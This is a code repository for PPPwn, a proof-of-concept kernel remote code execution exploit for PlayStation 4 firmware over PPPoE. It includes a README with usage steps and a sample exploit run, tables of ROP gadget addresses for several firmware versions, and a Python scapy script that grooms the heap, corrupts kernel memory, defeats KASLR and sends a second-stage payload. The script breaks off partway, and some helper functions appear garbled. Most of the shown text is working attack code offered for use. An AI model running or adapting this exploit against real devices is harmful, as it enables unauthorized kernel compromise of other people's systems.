├── .gitignore ├── .gitmodules ├── LICENSE ├── README.md ├── offsets.py ├── pppwn.py ├── requirements.txt ├── run.sh ├── stage1 ├── Makefile ├── linker.ld ├── offsets.h ├── stage1.c ├── stage1.elf └── start.S └── stage2 ├── Makefile ├── linker.ld ├── offsets.h ├── stage2.c ├── stage2.elf └── start.S /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.o 3 | *.bin 4 | *.elf 5 | *.txt -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "freebsd-headers"] 2 | path = freebsd-headers 3 | url = https://github.com/OpenOrbis/freebsd-headers 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (C) 2024 Andy Nguyen 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PPPwn - PlayStation 4 PPPoE RCE 2 | PPPwn is a kernel remote code execution exploit for PlayStation 4 upto FW 11.00. This is a proof-of-concept exploit for [CVE-2006-4304](https://hackerone.com/reports/2177925) that was reported responsibly to PlayStation. 3 | 4 | Supported versions are: 5 | - FW 9.00 6 | - FW 11.00 7 | - more can be added (PRs are welcome) 8 | 9 | The exploit only prints `PPPwned` on your PS4 as a proof-of-concept. In order to launch Mira or similar homebrew enablers, the `stage2.bin` payload needs to be adapted. 10 | 11 | ## Requirements 12 | - Computer with Ethernet port 13 | - USB adapter also works 14 | - Ethernet cable 15 | - Linux 16 | - You can use VirtualBox to create a Linux VM with `Bridged Adapter` as network adapter to use the ethernet port in the VM. 17 | - Python3 and gcc installed 18 | 19 | ## Usage 20 | 21 | On your computer, clone the repository: 22 | 23 | ```sh 24 | git clone --recursive https://github.com/TheOfficialFloW/PPPwn 25 | ``` 26 | 27 | Install the requirements: 28 | 29 | ```sh 30 | sudo pip install -r requirements.txt 31 | ``` 32 | 33 | Compile the payloads: 34 | 35 | ```sh 36 | make -C stage1 FW=1100 clean && make -C stage1 FW=1100 37 | make -C stage2 FW=1100 clean && make -C stage2 FW=1100 38 | ``` 39 | 40 | For other firmwares, e.g. FW 9.00, pass `FW=900`. 41 | 42 | Run the exploit (see `ifconfig` for the correct interface): 43 | 44 | ```sh 45 | sudo python3 pppwn.py --interface=enp0s3 --fw=1100 46 | ``` 47 | 48 | For other firmwares, e.g. FW 9.00, pass `--fw=900`. 49 | 50 | On your PS4: 51 | 52 | - Go to `Settings` and then `Network` 53 | - Select `Set Up Internet connection` and choose `Use a LAN Cable` 54 | - Choose `Custom` setup and choose `PPPoE` for `IP Address Settings` 55 | - Enter anything for `PPPoE User ID` and `PPPoE Pasword` 56 | - Choose `Automatic` for `DNS Settings` and `MTU Settings` 57 | - Choose `Do Not Use` for `Proxy Server` 58 | - Click `Test Internet Connection` to communicate with your computer 59 | 60 | If the exploit fails or the PS4 crashes, you can skip the internet setup and simply click on `Test Internet Connection`. If the `pppwn.py` script is stuck waiting for a request/response, abort it and run it again on your computer, and then click on `Test Internet Connection` on your PS4. 61 | 62 | If the exploit works, you should see an output similar to below, and you should see `Cannot connect to network.` followed by `PPPwned` printed on your PS4. 63 | 64 | ### Example run 65 | 66 | ```sh 67 | [+] PPPwn - PlayStation 4 PPPoE RCE by theflow 68 | [+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin 69 | 70 | [+] STAGE 0: Initialization 71 | [*] Waiting for PADI... 72 | [+] pppoe_softc: 0xffffabd634beba00 73 | [+] Target MAC: xx:xx:xx:xx:xx:xx 74 | [+] Source MAC: 07:ba:be:34:d6:ab 75 | [+] AC cookie length: 0x4e0 76 | [*] Sending PADO... 77 | [*] Waiting for PADR... 78 | [*] Sending PADS... 79 | [*] Waiting for LCP configure request... 80 | [*] Sending LCP configure ACK... 81 | [*] Sending LCP configure request... 82 | [*] Waiting for LCP configure ACK... 83 | [*] Waiting for IPCP configure request... 84 | [*] Sending IPCP configure NAK... 85 | [*] Waiting for IPCP configure request... 86 | [*] Sending IPCP configure ACK... 87 | [*] Sending IPCP configure request... 88 | [*] Waiting for IPCP configure ACK... 89 | [*] Waiting for interface to be ready... 90 | [+] Target IPv6: fe80::2d9:d1ff:febc:83e4 91 | [+] Heap grooming...done 92 | 93 | [+] STAGE 1: Memory corruption 94 | [+] Pinning to CPU 0...done 95 | [*] Sending malicious LCP configure request... 96 | [*] Waiting for LCP configure request... 97 | [*] Sending LCP configure ACK... 98 | [*] Sending LCP configure request... 99 | [*] Waiting for LCP configure ACK... 100 | [*] Waiting for IPCP configure request... 101 | [*] Sending IPCP configure NAK... 102 | [*] Waiting for IPCP configure request... 103 | [*] Sending IPCP configure ACK... 104 | [*] Sending IPCP configure request... 105 | [*] Waiting for IPCP configure ACK... 106 | [+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141 107 | 108 | [+] STAGE 2: KASLR defeat 109 | [*] Defeating KASLR... 110 | [+] pppoe_softc_list: 0xffffffff884de578 111 | [+] kaslr_offset: 0x3ffc000 112 | 113 | [+] STAGE 3: Remote code execution 114 | [*] Sending LCP terminate request... 115 | [*] Waiting for PADI... 116 | [+] pppoe_softc: 0xffffabd634beba00 117 | [+] Target MAC: xx:xx:xx:xx:xx:xx 118 | [+] Source MAC: 97:df:ea:86:ff:ff 119 | [+] AC cookie length: 0x511 120 | [*] Sending PADO... 121 | [*] Waiting for PADR... 122 | [*] Sending PADS... 123 | [*] Triggering code execution... 124 | [*] Waiting for stage1 to resume... 125 | [*] Sending PADT... 126 | [*] Waiting for PADI... 127 | [+] pppoe_softc: 0xffffabd634be9200 128 | [+] Target MAC: xx:xx:xx:xx:xx:xx 129 | [+] AC cookie length: 0x0 130 | [*] Sending PADO... 131 | [*] Waiting for PADR... 132 | [*] Sending PADS... 133 | [*] Waiting for LCP configure request... 134 | [*] Sending LCP configure ACK... 135 | [*] Sending LCP configure request... 136 | [*] Waiting for LCP configure ACK... 137 | [*] Waiting for IPCP configure request... 138 | [*] Sending IPCP configure NAK... 139 | [*] Waiting for IPCP configure request... 140 | [*] Sending IPCP configure ACK... 141 | [*] Sending IPCP configure request... 142 | [*] Waiting for IPCP configure ACK... 143 | 144 | [+] STAGE 4: Arbitrary payload execution 145 | [*] Sending stage2 payload... 146 | [+] Done! 147 | ``` -------------------------------------------------------------------------------- /offsets.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2024 Andy Nguyen 2 | # 3 | # This software may be modified and distributed under the terms 4 | # of the MIT license. See the LICENSE file for details. 5 | 6 | 7 | # FW 9.00 8 | class OffsetsFirmware_900: 9 | PPPOE_SOFTC_LIST = 0xffffffff843ed9f8 10 | 11 | KERNEL_MAP = 0xffffffff84468d48 12 | 13 | SETIDT = 0xffffffff82512c40 14 | 15 | KMEM_ALLOC = 0xffffffff8257be70 16 | KMEM_ALLOC_PATCH1 = 0xffffffff8257bf3c 17 | KMEM_ALLOC_PATCH2 = 0xffffffff8257bf44 18 | 19 | MEMCPY = 0xffffffff824714b0 20 | 21 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823fb949 22 | 23 | SECOND_GADGET_OFF = 0x3d 24 | 25 | # 0xffffffff82996603 : jmp qword ptr [rsi + 0x3d] 26 | FIRST_GADGET = 0xffffffff82996603 27 | 28 | # 0xffffffff82c76646 : push rbp ; jmp qword ptr [rsi] 29 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c76646 30 | 31 | # 0xffffffff822b4151 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 32 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822b4151 33 | 34 | # 0xffffffff82941e46 : lea rsp, [rsi + 0x20] ; repz ret 35 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82941e46 36 | 37 | # 0xffffffff826c52aa : add rsp, 0x28 ; pop rbp ; ret 38 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826c52aa 39 | 40 | # 0xffffffff8251b08f : add rsp, 0xb0 ; pop rbp ; ret 41 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff8251b08f 42 | 43 | # 0xffffffff822008e0 : ret 44 | RET = 0xffffffff822008e0 45 | 46 | # 0xffffffff822391a8 : pop rdi ; ret 47 | POP_RDI_RET = 0xffffffff822391a8 48 | 49 | # 0xffffffff822aad39 : pop rsi ; ret 50 | POP_RSI_RET = 0xffffffff822aad39 51 | 52 | # 0xffffffff82322eba : pop rdx ; ret 53 | POP_RDX_RET = 0xffffffff82322eba 54 | 55 | # 0xffffffff822445e7 : pop rcx ; ret 56 | POP_RCX_RET = 0xffffffff822445e7 57 | 58 | # 0xffffffff822ab4dd : pop r8 ; pop rbp ; ret 59 | POP_R8_POP_RBP_RET = 0xffffffff822ab4dd 60 | 61 | # 0xffffffff8279fa0f : pop r12 ; ret 62 | POP_R12_RET = 0xffffffff8279fa0f 63 | 64 | # 0xffffffff82234ec8 : pop rax ; ret 65 | POP_RAX_RET = 0xffffffff82234ec8 66 | 67 | # 0xffffffff822008df : pop rbp ; ret 68 | POP_RBP_RET = 0xffffffff822008df 69 | 70 | # 0xffffffff82bb687a : push rsp ; pop rsi ; ret 71 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb687a 72 | 73 | # 0xffffffff82244ed0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 74 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82244ed0 75 | 76 | # 0xffffffff82b7450e : mov byte ptr [rcx], al ; ret 77 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b7450e 78 | 79 | # 0xffffffff82632b9c : mov rdi, rbx ; call r12 80 | MOV_RDI_RBX_CALL_R12 = 0xffffffff82632b9c 81 | 82 | # 0xffffffff8235b387 : mov rdi, r14 ; call r12 83 | MOV_RDI_R14_CALL_R12 = 0xffffffff8235b387 84 | 85 | # 0xffffffff822e3d7e : mov rsi, rbx ; call rax 86 | MOV_RSI_RBX_CALL_RAX = 0xffffffff822e3d7e 87 | 88 | # 0xffffffff82363918 : mov r14, rax ; call r8 89 | MOV_R14_RAX_CALL_R8 = 0xffffffff82363918 90 | 91 | # 0xffffffff82cb683a : add rdi, rcx ; ret 92 | ADD_RDI_RCX_RET = 0xffffffff82cb683a 93 | 94 | # 0xffffffff82409557 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 95 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82409557 96 | 97 | # 0xffffffff82b85693 : jmp r14 98 | JMP_R14 = 0xffffffff82b85693 99 | 100 | class OffsetsFirmware_903: 101 | PPPOE_SOFTC_LIST = 0xffffffff843ed9f8 #FFFFFFFF824544F0 uses_soft_c FFFFFFFF82454660 uses_soft_c_0 9.03 not done 102 | 103 | KERNEL_MAP = 0xffffffff84468d48 # FFFFFFFF8227CD80 uses_kernel_map FFFFFFFF822F6C40 uses_kernel_map_0 9.03 not done 104 | 105 | SETIDT = 0xFFFFFFFF825128E0 # done 106 | 107 | KMEM_ALLOC = 0xFFFFFFFF8257A070 # done 108 | KMEM_ALLOC_PATCH1 = 0xffffffff8257bf3c # not 109 | KMEM_ALLOC_PATCH2 = 0xffffffff8257bf44 # not 110 | 111 | MEMCPY = 0xFFFFFFFF82471130 #done 112 | 113 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xFFFFFFFF823FB679 #0F 22 C6 48 F7 C6 114 | 115 | SECOND_GADGET_OFF = 0x3D 116 | 117 | # 0xffffffff82996603 : jmp qword ptr [rsi + 0x3d] 118 | FIRST_GADGET = 0xFFFFFFFF829E686F #FF 66 3D 119 | 120 | # 0xffffffff82c76646 : push rbp ; jmp qword ptr [rsi] 121 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xFFFFFFFF82C74566 #55 FF 26 122 | 123 | # 0xffffffff822b4151 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 124 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xFFFFFFFF822B4151 #5B 41 5E 5D FF 66 10 125 | 126 | # 0xffffffff82941e46 : lea rsp, [rsi + 0x20] ; repz ret 127 | LEA_RSP_RSI_20_REPZ_RET = 0xFFFFFFFF8293FE06 #48 8D 66 20 F3 C3 128 | 129 | # 0xffffffff826c52aa : add rsp, 0x28 ; pop rbp ; ret 130 | ADD_RSP_28_POP_RBP_RET = 0xFFFFFFFF826C31AA #48 83 C4 28 5D C3 131 | 132 | # 0xffffffff8251b08f : add rsp, 0xb0 ; pop rbp ; ret 133 | ADD_RSP_B0_POP_RBP_RET = 0xFFFFFFFF8251AD2F #48 81 C4 B0 00 00 00 5D C3 134 | 135 | # 0xffffffff822008e0 : ret 136 | RET = 0xFFFFFFFF822008E0 #C3 137 | 138 | # 0xffffffff822391a8 : pop rdi ; ret 139 | POP_RDI_RET = 0xFFFFFFFF8238E75D #5F C3 140 | 141 | # 0xffffffff822aad39 : pop rsi ; ret 142 | POP_RSI_RET = 0xFFFFFFFF822AAD39 #5E C3 143 | 144 | # 0xffffffff82322eba : pop rdx ; ret 145 | POP_RDX_RET = 0xFFFFFFFF8244CC56 #5A C3 146 | 147 | # 0xffffffff822445e7 : pop rcx ; ret 148 | POP_RCX_RET = 0xFFFFFFFF822445E7 #59 C3 149 | 150 | # 0xffffffff822ab4dd : pop r8 ; pop rbp ; ret 151 | POP_R8_POP_RBP_RET = 0xFFFFFFFF822AB4DD #47 58 5D C3 152 | 153 | # 0xffffffff8279fa0f : pop r12 ; ret 154 | POP_R12_RET = 0xFFFFFFFF8279D9CF #41 5C C3 155 | 156 | # 0xffffffff82234ec8 : pop rax ; ret 157 | POP_RAX_RET = 0xFFFFFFFF82234EC8 #58 C3 158 | 159 | # 0xffffffff822008df : pop rbp ; ret 160 | POP_RBP_RET = 0xFFFFFFFF822008DF #5D C3 161 | 162 | # 0xffffffff82bb687a : push rsp ; pop rsi ; ret 163 | PUSH_RSP_POP_RSI_RET = 0xFFFFFFFF82BB479A #54 5E C3 164 | 165 | # 0xffffffff82244ed0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 166 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xFFFFFFFF82244ED0 #48 8B 3F 5D FF E0 167 | 168 | # 0xffffffff82b7450e : mov byte ptr [rcx], al ; ret 169 | MOV_BYTE_PTR_RCX_AL_RET = 0xFFFFFFFF825386D8 #88 01 C3 170 | 171 | # 0xffffffff82632b9c : mov rdi, rbx ; call r12 172 | MOV_RDI_RBX_CALL_R12 = 0xFFFFFFFF82630B0C #48 89 DF 41 FF D4 173 | 174 | # 0xffffffff8235b387 : mov rdi, r14 ; call r12 175 | MOV_RDI_R14_CALL_R12 = 0xFFFFFFFF8235B337 #4C 89 F7 41 FF D4 176 | 177 | # 0xffffffff822e3d7e : mov rsi, rbx ; call rax 178 | MOV_RSI_RBX_CALL_RAX = 0xFFFFFFFF822E3D2E #48 89 DE FF D0 179 | 180 | # 0xffffffff82363918 : mov r14, rax ; call r8 181 | MOV_R14_RAX_CALL_R8 = 0xFFFFFFFF823638C8 # 49 89 C6 41 FF D0 182 | 183 | # 0xffffffff82cb683a : add rdi, rcx ; ret 184 | ADD_RDI_RCX_RET = 0xFFFFFFFF82CB475A #48 03 F9 C3 185 | 186 | # 0xffffffff82409557 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 187 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xFFFFFFFF82409287 #48 29 D6 48 89 F0 5D C3 188 | 189 | # 0xffffffff82b85693 : jmp r14 190 | JMP_R14 = 0xFFFFFFFF82B835B3 #49 FF E6 191 | 192 | # FW 11.00 193 | class OffsetsFirmware_1100: 194 | PPPOE_SOFTC_LIST = 0xffffffff844e2578 195 | 196 | KERNEL_MAP = 0xffffffff843ff130 197 | 198 | SETIDT = 0xffffffff8245bdb0 199 | 200 | KMEM_ALLOC = 0xffffffff82445e10 201 | KMEM_ALLOC_PATCH1 = 0xffffffff82445edc 202 | KMEM_ALLOC_PATCH2 = 0xffffffff82445ee4 203 | 204 | MEMCPY = 0xffffffff824dddf0 205 | 206 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff824f1299 207 | 208 | SECOND_GADGET_OFF = 0x3e 209 | 210 | # 0xffffffff82eb1f97 : jmp qword ptr [rsi + 0x3e] 211 | FIRST_GADGET = 0xffffffff82eb1f97 212 | 213 | # 0xffffffff82c75166 : push rbp ; jmp qword ptr [rsi] 214 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c75166 215 | 216 | # 0xffffffff824b90e1 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 217 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff824b90e1 218 | 219 | # 0xffffffff8293c8c6 : lea rsp, [rsi + 0x20] ; repz ret 220 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8293c8c6 221 | 222 | # 0xffffffff826cb2da : add rsp, 0x28 ; pop rbp ; ret 223 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826cb2da 224 | 225 | # 0xffffffff824cdd5f : add rsp, 0xb0 ; pop rbp ; ret 226 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff824cdd5f 227 | 228 | # 0xffffffff822007e4 : ret 229 | RET = 0xffffffff822007e4 230 | 231 | # 0xffffffff825f38ed : pop rdi ; ret 232 | POP_RDI_RET = 0xffffffff825f38ed 233 | 234 | # 0xffffffff8224a6a9 : pop rsi ; ret 235 | POP_RSI_RET = 0xffffffff8224a6a9 236 | 237 | # 0xffffffff822a4762 : pop rdx ; ret 238 | POP_RDX_RET = 0xffffffff822a4762 239 | 240 | # 0xffffffff8221170a : pop rcx ; ret 241 | POP_RCX_RET = 0xffffffff8221170a 242 | 243 | # 0xffffffff8224ae4d : pop r8 ; pop rbp ; ret 244 | POP_R8_POP_RBP_RET = 0xffffffff8224ae4d 245 | 246 | # 0xffffffff8279faaf : pop r12 ; ret 247 | POP_R12_RET = 0xffffffff8279faaf 248 | 249 | # 0xffffffff8221172e : pop rax ; ret 250 | POP_RAX_RET = 0xffffffff8221172e 251 | 252 | # 0xffffffff822008df : pop rbp ; ret 253 | POP_RBP_RET = 0xffffffff822008df 254 | 255 | # 0xffffffff82bb5c7a : push rsp ; pop rsi ; ret 256 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb5c7a 257 | 258 | # 0xffffffff823ce260 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 259 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff823ce260 260 | 261 | # 0xffffffff8236ae58 : mov byte ptr [rcx], al ; ret 262 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff8236ae58 263 | 264 | # 0xffffffff8233426c : mov rdi, rbx ; call r12 265 | MOV_RDI_RBX_CALL_R12 = 0xffffffff8233426c 266 | 267 | # 0xffffffff823340a7 : mov rdi, r14 ; call r12 268 | MOV_RDI_R14_CALL_R12 = 0xffffffff823340a7 269 | 270 | # 0xffffffff82512dce : mov rsi, rbx ; call rax 271 | MOV_RSI_RBX_CALL_RAX = 0xffffffff82512dce 272 | 273 | # 0xffffffff82624df8 : mov r14, rax ; call r8 274 | MOV_R14_RAX_CALL_R8 = 0xffffffff82624df8 275 | 276 | # 0xffffffff82cb535a : add rdi, rcx ; ret 277 | ADD_RDI_RCX_RET = 0xffffffff82cb535a 278 | 279 | # 0xffffffff8260f297 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 280 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8260f297 281 | 282 | # 0xffffffff82b84657 : jmp r14 283 | JMP_R14 = 0xffffffff82b84657 284 | -------------------------------------------------------------------------------- /pppwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Copyright (C) 2024 Andy Nguyen 4 | # 5 | # This software may be modified and distributed under the terms 6 | # of the MIT license. See the LICENSE file for details. 7 | 8 | from argparse import ArgumentParser 9 | from scapy.all import * 10 | from scapy.layers.ppp import * 11 | from struct import pack, unpack 12 | from sys import exit 13 | from time import sleep 14 | from offsets import * 15 | 16 | # PPPoE constants 17 | 18 | PPPOE_TAG_HUNIQUE = 0x0103 19 | PPPOE_TAG_ACOOKIE = 0x0104 20 | 21 | PPPOE_CODE_PADI = 0x09 22 | PPPOE_CODE_PADO = 0x07 23 | PPPOE_CODE_PADR = 0x19 24 | PPPOE_CODE_PADS = 0x65 25 | PPPOE_CODE_PADT = 0xa7 26 | 27 | ETHERTYPE_PPPOEDISC = 0x8863 28 | ETHERTYPE_PPPOE = 0x8864 29 | 30 | CONF_REQ = 1 31 | CONF_ACK = 2 32 | CONF_NAK = 3 33 | CONF_REJ = 4 34 | ECHO_REQ = 9 35 | ECHO_REPLY = 10 36 | 37 | # FreeBSD constants 38 | 39 | NULL = 0 40 | 41 | PAGE_SIZE = 0x4000 42 | 43 | IDT_UD = 6 44 | SDT_SYSIGT = 14 45 | SEL_KPL = 0 46 | 47 | CR0_PE = 0x00000001 48 | CR0_MP = 0x00000002 49 | CR0_EM = 0x00000004 50 | CR0_TS = 0x00000008 51 | CR0_ET = 0x00000010 52 | CR0_NE = 0x00000020 53 | CR0_WP = 0x00010000 54 | CR0_AM = 0x00040000 55 | CR0_NW = 0x20000000 56 | CR0_CD = 0x40000000 57 | CR0_PG = 0x80000000 58 | 59 | CR0_ORI = CR0_PG | CR0_AM | CR0_WP | CR0_NE | CR0_ET | CR0_TS | CR0_MP | CR0_PE 60 | 61 | VM_PROT_READ = 0x01 62 | VM_PROT_WRITE = 0x02 63 | VM_PROT_EXECUTE = 0x04 64 | 65 | VM_PROT_ALL = (VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE) 66 | 67 | LLE_STATIC = 0x0002 68 | LLE_LINKED = 0x0040 69 | LLE_EXCLUSIVE = 0x2000 70 | 71 | LO_INITIALIZED = 0x00010000 72 | LO_WITNESS = 0x00020000 73 | LO_UPGRADABLE = 0x00200000 74 | LO_DUPOK = 0x00400000 75 | 76 | LO_CLASSSHIFT = 24 77 | 78 | RW_UNLOCKED = 1 79 | MTX_UNOWNED = 4 80 | 81 | RW_INIT_FLAGS = ((4 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS | 82 | LO_UPGRADABLE) 83 | MTX_INIT_FLAGS = ((1 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS) 84 | 85 | CALLOUT_RETURNUNLOCKED = 0x10 86 | 87 | AF_INET6 = 28 88 | 89 | IFT_ETHER = 0x6 90 | 91 | ND6_LLINFO_NOSTATE = 0xfffe 92 | 93 | # FreeBSD offsets 94 | 95 | TARGET_SIZE = 0x100 96 | 97 | PPPOE_SOFTC_SC_DEST = 0x24 98 | PPPOE_SOFTC_SC_AC_COOKIE = 0x40 99 | PPPOE_SOFTC_SIZE = 0x1c8 100 | 101 | LLTABLE_LLTIFP = 0x110 102 | LLTABLE_LLTFREE = 0x118 103 | 104 | SOCKADDR_IN6_SIZE = 0x1c 105 | 106 | 107 | def p8(val): 108 | return pack('H', val & 0xffff) 117 | 118 | 119 | def p32(val): 120 | return pack('I', val & 0xffffffff) 125 | 126 | 127 | def p64(val): 128 | return pack('Q', val & 0xffffffffffffffff) 133 | 134 | 135 | class LcpEchoHandler(AsyncSniffer): 136 | 137 | def __init__(self, iface): 138 | self.s = conf.L2socket(iface=iface) 139 | super().__init__(opened_socket=self.s, 140 | prn=self.handler, 141 | filter='pppoes && !ip', 142 | lfilter=lambda pkt: pkt.haslayer(PPP_LCP_Echo)) 143 | 144 | def handler(self, pkt): 145 | self.s.send( 146 | Ether(src=pkt[Ether].dst, dst=pkt[Ether].src, type=ETHERTYPE_PPPOE) 147 | / PPPoE(sessionid=pkt[PPPoE].sessionid) / PPP() / 148 | PPP_LCP_Echo(code=ECHO_REPLY, id=pkt[PPP_LCP_Echo].id)) 149 | 150 | 151 | class Exploit(): 152 | SPRAY_NUM = 0x1000 153 | PIN_NUM = 0x1000 154 | CORRUPT_NUM = 0x1 155 | 156 | HOLE_START = 0x400 157 | HOLE_SPACE = 0x10 158 | 159 | LCP_ID = 0x41 160 | IPCP_ID = 0x41 161 | 162 | SESSION_ID = 0xffff 163 | 164 | STAGE2_PORT = 9020 165 | 166 | SOURCE_MAC = '41:41:41:41:41:41' 167 | SOURCE_IPV4 = '41.41.41.41' 168 | SOURCE_IPV6 = 'fe80::4141:4141:4141:4141' 169 | 170 | TARGET_IPV4 = '42.42.42.42' 171 | 172 | BPF_FILTER = '(ip6) || (pppoed) || (pppoes && !ip)' 173 | 174 | def __init__(self, offs, iface, stage1, stage2): 175 | self.offs = offs 176 | self.iface = iface 177 | self.stage1 = stage1 178 | self.stage2 = stage2 179 | self.s = conf.L2socket(iface=self.iface, filter=self.BPF_FILTER) 180 | 181 | def kdlsym(self, addr): 182 | return self.kaslr_offset + addr 183 | 184 | def lcp_negotiation(self): 185 | print('[*] Sending LCP configure request...') 186 | self.s.send( 187 | Ether(src=self.source_mac, 188 | dst=self.target_mac, 189 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 190 | PPP() / PPP_LCP(code=CONF_REQ, id=self.LCP_ID)) 191 | 192 | print('[*] Waiting for LCP configure ACK...') 193 | while True: 194 | pkt = self.s.recv() 195 | if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[ 196 | PPP_LCP_Configure].code == CONF_ACK: 197 | break 198 | 199 | print('[*] Waiting for LCP configure request...') 200 | while True: 201 | pkt = self.s.recv() 202 | if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[ 203 | PPP_LCP_Configure].code == CONF_REQ: 204 | break 205 | 206 | print('[*] Sending LCP configure ACK...') 207 | self.s.send( 208 | Ether(src=self.source_mac, 209 | dst=self.target_mac, 210 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 211 | PPP() / PPP_LCP(code=CONF_ACK, id=pkt[PPP_LCP_Configure].id)) 212 | 213 | def ipcp_negotiation(self): 214 | print('[*] Sending IPCP configure request...') 215 | self.s.send( 216 | Ether( 217 | src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE) 218 | / PPPoE(sessionid=self.SESSION_ID) / PPP() / 219 | PPP_IPCP(code=CONF_REQ, 220 | id=self.IPCP_ID, 221 | options=PPP_IPCP_Option_IPAddress(data=self.SOURCE_IPV4))) 222 | 223 | print('[*] Waiting for IPCP configure ACK...') 224 | while True: 225 | pkt = self.s.recv() 226 | if pkt and pkt.haslayer( 227 | PPP_IPCP) and pkt[PPP_IPCP].code == CONF_ACK: 228 | break 229 | 230 | print('[*] Waiting for IPCP configure request...') 231 | while True: 232 | pkt = self.s.recv() 233 | if pkt and pkt.haslayer( 234 | PPP_IPCP) and pkt[PPP_IPCP].code == CONF_REQ: 235 | break 236 | 237 | print('[*] Sending IPCP configure NAK...') 238 | self.s.send( 239 | Ether( 240 | src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE) 241 | / PPPoE(sessionid=self.SESSION_ID) / PPP() / 242 | PPP_IPCP(code=CONF_NAK, 243 | id=pkt[PPP_IPCP].id, 244 | options=PPP_IPCP_Option_IPAddress(data=self.TARGET_IPV4))) 245 | 246 | print('[*] Waiting for IPCP configure request...') 247 | while True: 248 | pkt = self.s.recv() 249 | if pkt and pkt.haslayer( 250 | PPP_IPCP) and pkt[PPP_IPCP].code == CONF_REQ: 251 | break 252 | 253 | print('[*] Sending IPCP configure ACK...') 254 | self.s.send( 255 | Ether(src=self.source_mac, 256 | dst=self.target_mac, 257 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 258 | PPP() / PPP_IPCP(code=CONF_ACK, 259 | id=pkt[PPP_IPCP].id, 260 | options=pkt[PPP_IPCP].options)) 261 | 262 | def ppp_negotation(self, cb=None): 263 | print('[*] Waiting for PADI...') 264 | while True: 265 | pkt = self.s.recv() 266 | if pkt and pkt.haslayer( 267 | PPPoED) and pkt[PPPoED].code == PPPOE_CODE_PADI: 268 | break 269 | 270 | for tag in pkt[PPPoED][PPPoED_Tags].tag_list: 271 | if tag.tag_type == PPPOE_TAG_HUNIQUE: 272 | host_uniq = tag.tag_value 273 | 274 | self.pppoe_softc = unpack('= self.HOLE_START and i % self.HOLE_SPACE == 0: 645 | continue 646 | 647 | self.s.send( 